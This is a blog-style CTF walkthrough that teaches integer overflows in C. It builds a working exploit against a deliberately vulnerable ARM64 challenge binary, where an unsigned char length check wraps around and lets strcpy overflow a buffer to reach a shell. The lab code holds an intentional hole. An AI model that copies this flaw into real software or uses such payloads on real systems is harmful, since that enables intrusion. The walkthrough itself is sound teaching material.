Hello everyone,
In this blog, we will explore integer overflows and their potential to create issues within your software. We will provide a walkthrough of a small CTF binary to illustrate their risks. Before we begin, ensure you meet certain prerequisites below.
Prerequisites
Familiarity with ARM64 assembly instructions.
ARM64 environment with GEF.
Ability to read and understand C code.
If you are new here, we recommend trying out our complete ARM64 Exploitation series.
Integer overflow
So what is an integer overflow ?
Simply put, it’s a type of arithmetic overflow that occurs when the result of an integer operation doesn’t fit within the allocated memory space. On its own, integer overflow doesn’t raise significant concerns. However, it can lead to other vulnerabilities, such as buffer overflows, which can result in severe security issues. For example, if the software has a vulnerable function that could trigger a buffer overflow, and this function is protected by boundary checks, an integer overflow within those checks could allow us to bypass the protection and trigger the buffer overflow.
If you visit the CWE Top 25 list on Mitre’s website, you’ll notice that integer overflows still exist and are ranked at number 14.
To learn about this vulnerability in depth, we should start by revisiting C data types. Let’s take a quick look at that for a better understanding.
In this table, you can see the different data types used in C, along with their ranges. The “Range” column provides information about the values these data types can hold.
Let’s take an example, if you look at the unsigned short int data type, it can only store positive values, and its range is from 0
to 65535
. Therefore, the minimum value it can hold is 0
, and the maximum value it can hold is 65535
. So what do you think will happen when we try fit a value larger than 65535
? Let’s find out.
#include
int main()
{
unsigned short int a = 65535;
printf("%d",a);
return 0;
}
Consider the program above. We have defined an unsigned short int variable a
which holds the maximum value of that type.
Let’s compile and run this program. You can also use this.
As expected, the program prints the value present in the variable a
. Let’s add one to it and see what happens.
#include
int main()
{
unsigned short int a = 65535+1;
printf("%d",a);
return 0;
}
The program outputs 0
!! . If we look at the warning messages, it’s indicating an overflow. So what really happened here ? Let’s find out using our calculator.
The maximum value that fits in the unsigned short int variable is 65535
. The size of this data type is 2 bytes that is 16 bits. Looking at the calculator we can see that all those 16 bits are filled. Let’s add one to 65535
, changing it to 65536
.
Now, if you examine the highlighted binary sequence closely, you’ll notice that the rightmost 16 bits are all zeros. Additionally, an extra 4 bits are displayed in the binary field. Therefore, the value 0001 0000 0000 0000 0000
is used to represent the value 65536
, which no longer fits within the 2-byte
(16-bit) size. As for the size of unsigned short int, only 16 bits would be used to represent the value, resulting in zero because the 16 rightmost bits in the binary representation are all zeros (which also equals zero in decimal).
To summarize briefly, when we enter a value greater than 65535, which exceeds the maximum range of an unsigned short int with a size of 2 bytes, it will overflow, as observed in the binary field in the calculator, and wrap around to zero (specifically, the last 16 bits from the right). Consequently, the value becomes zero.
Challenge binary
Its time to a challenge, check out the below c code.
#include
#include
#include
void check(char* password);
void win() {
printf("Congrats You won you got a shell :)\n\n");
system("/bin/sh");
}
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("Provide me one argument\n");
exit(0);
}
check(argv[1]);
return 0;
}
void check(char* password) {
char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);
printf("Welcome... Try getting a shell\n");
printf("Length of your input is: %d\n", length);
if (length >= 4 && length <= 8) {
strcpy(buffer, password);
if (user_win == 0x42424242) {
win();
} else {
printf("You lost\n");
}
} else {
printf("Keep the length between 4 and 8\n");
}
}
Our objective here is to call the win()
function. Let’s examine the code for a better understanding.
The program expects an input as an argument, and this input will be passed to the check()
function, which contains three local variables:
char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);
The length
variable calculates the length of the input passed to the check()
function. If the length falls within the range of 4 to 8 (inclusive), the data in the password
parameter will be copied to the buffer
. Afterward, it will compare the value of user_win
to 0x42424242
(Hexadecimal). If it matches, the win()
function will be called. To call the win()
function, we need to trigger a buffer overflow in the program. Fortunately, the strcpy()
function is used in the program to copy user input. However, there’s a catch, there is a sanity check before using strcpy()
. So simply sending a sequence of ‘A’s won’t work this time. If you look closely enough, you can find another vulnerability:
unsigned char length = strlen(password);
Yes, you guessed it. There’s an integer overflow in the length
variable, and it’s being used for the sanity check. So we can bypass the sanity check by taking advantage of the integer overflow vulnerability.
Let’s compile the source code and run our binary.
gcc integer.c -o integer
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer Hello
Welcome... Try getting a shell
Length of your input is: 5
You lost
Let’s try with a large input.
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Welcome... Try getting a shell
Length of your input is: 80
Keep the length between 4 and 8
Just like we expected, the sanity check is preventing us to trigger the buffer overflow.
Now let’s take a look at the unsigned char
data type.
An unsigned char
is used to represent an unsigned character data type in the C and C++ programming languages. It is a fundamental data type that can store small integer values ranging from 0
to 255
(or 0x00
to 0xFF
in hexadecimal) and typically occupies 1 byte of memory. Thus, the maximum range is 255
. Let’s explore what occurs when we attempt to store a value greater than 255
.
There you go, we have an integer overflow. We can check this using the calculator.
Let’s try adding one to this again.
#include
int main()
{
unsigned char a = 256 + 1;
printf("%d",a);
return 0;
}
Now we get 1
as the output. If we add one again, we will get 2
, and so on. This behavior occurs because unsigned char
wraps around to 0
when it exceeds its maximum value of 255
. So, to bypass the check, we just need to send an input with more than 255
characters, allowing us to bypass the sanity check and trigger the buffer overflow.
Let’s try that.
8ksec@debian:~/lab/challenges/integer_overflow$ (python3 -c 'print("A" * 256)')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 256)')
Welcome... Try getting a shell
Length of your input is: 0
Keep the length between 4 and 8
8ksec@debian:~/lab/challenges/integer_
Now, the length
is showing as 0
. To bypass the check, we need the length
to be between 4
and 8
. So let’s send 260
characters.
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 260)')
Welcome... Try getting a shell
Length of your input is: 4
You lost
Segmentation fault
Now that we’ve successfully bypassed the check and triggered the buffer overflow, the program crashes.
The next task is to set the user_win
variable to 0x42424242
so that we can call our win()
function. Firstly, we need to identify the input that overwrites the user_win
variable. We can use a pattern for that.
https://wiremask.eu/tools/buffer-overflow-pattern-generator/
Let’s run the binary inside gdb.
8ksec@debian:~/lab/challenges/integer_overflow$ gdb ./integer
Now disassemble the check()
function.
gef➤ disass check
The line 0x00000000000009b8 <+108>: cmp w1, w0
is comparing whether the user_win
variable is equal to 0x42424242
. Since Position-Independent Executable (PIE) is enabled, the addresses are not loaded yet. Therefore, let’s set a breakpoint at main()
and run the program to debug it.
gef➤ b main
Breakpoint 1 at 0x910
Let’s also pass the pattern as the argument to the program.
gef➤ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
Now that the breakpoint has been hit and the addresses are loaded, let’s locate the address of the cmp
instruction and set a breakpoint there.
gef➤ b *0x0000aaaaaaaa09b8
Breakpoint 2 at 0xaaaaaaaa09b8
Continue using c
command until the program hits the breakpoint.
Now, let’s examine the contents of w1
and w0
. w0
contains the pattern input we sent, and w1
contains the value 0x42424242
. We’ve already know that BBBB
corresponds to 0x42424242
.
Let’s find out the offset for the user_win
variable.
It’s 12
. Now that we know the offset and the value to overwrite the user_win
variable, the payload will be as follows:
payload = 12 * "A"s + BBBB + (260 - 12 - 4) * "A"s
So let’s try it.
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c 'print("A" * 12 + "BBBB" + (260 - 12 - 4) * "A")')
Finally, we successfully bypassed the check, called the win()
function by triggering the buffer overflow, and obtained our shell.
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.
Check out our Certifications Program and get Certified today.
Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.
We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.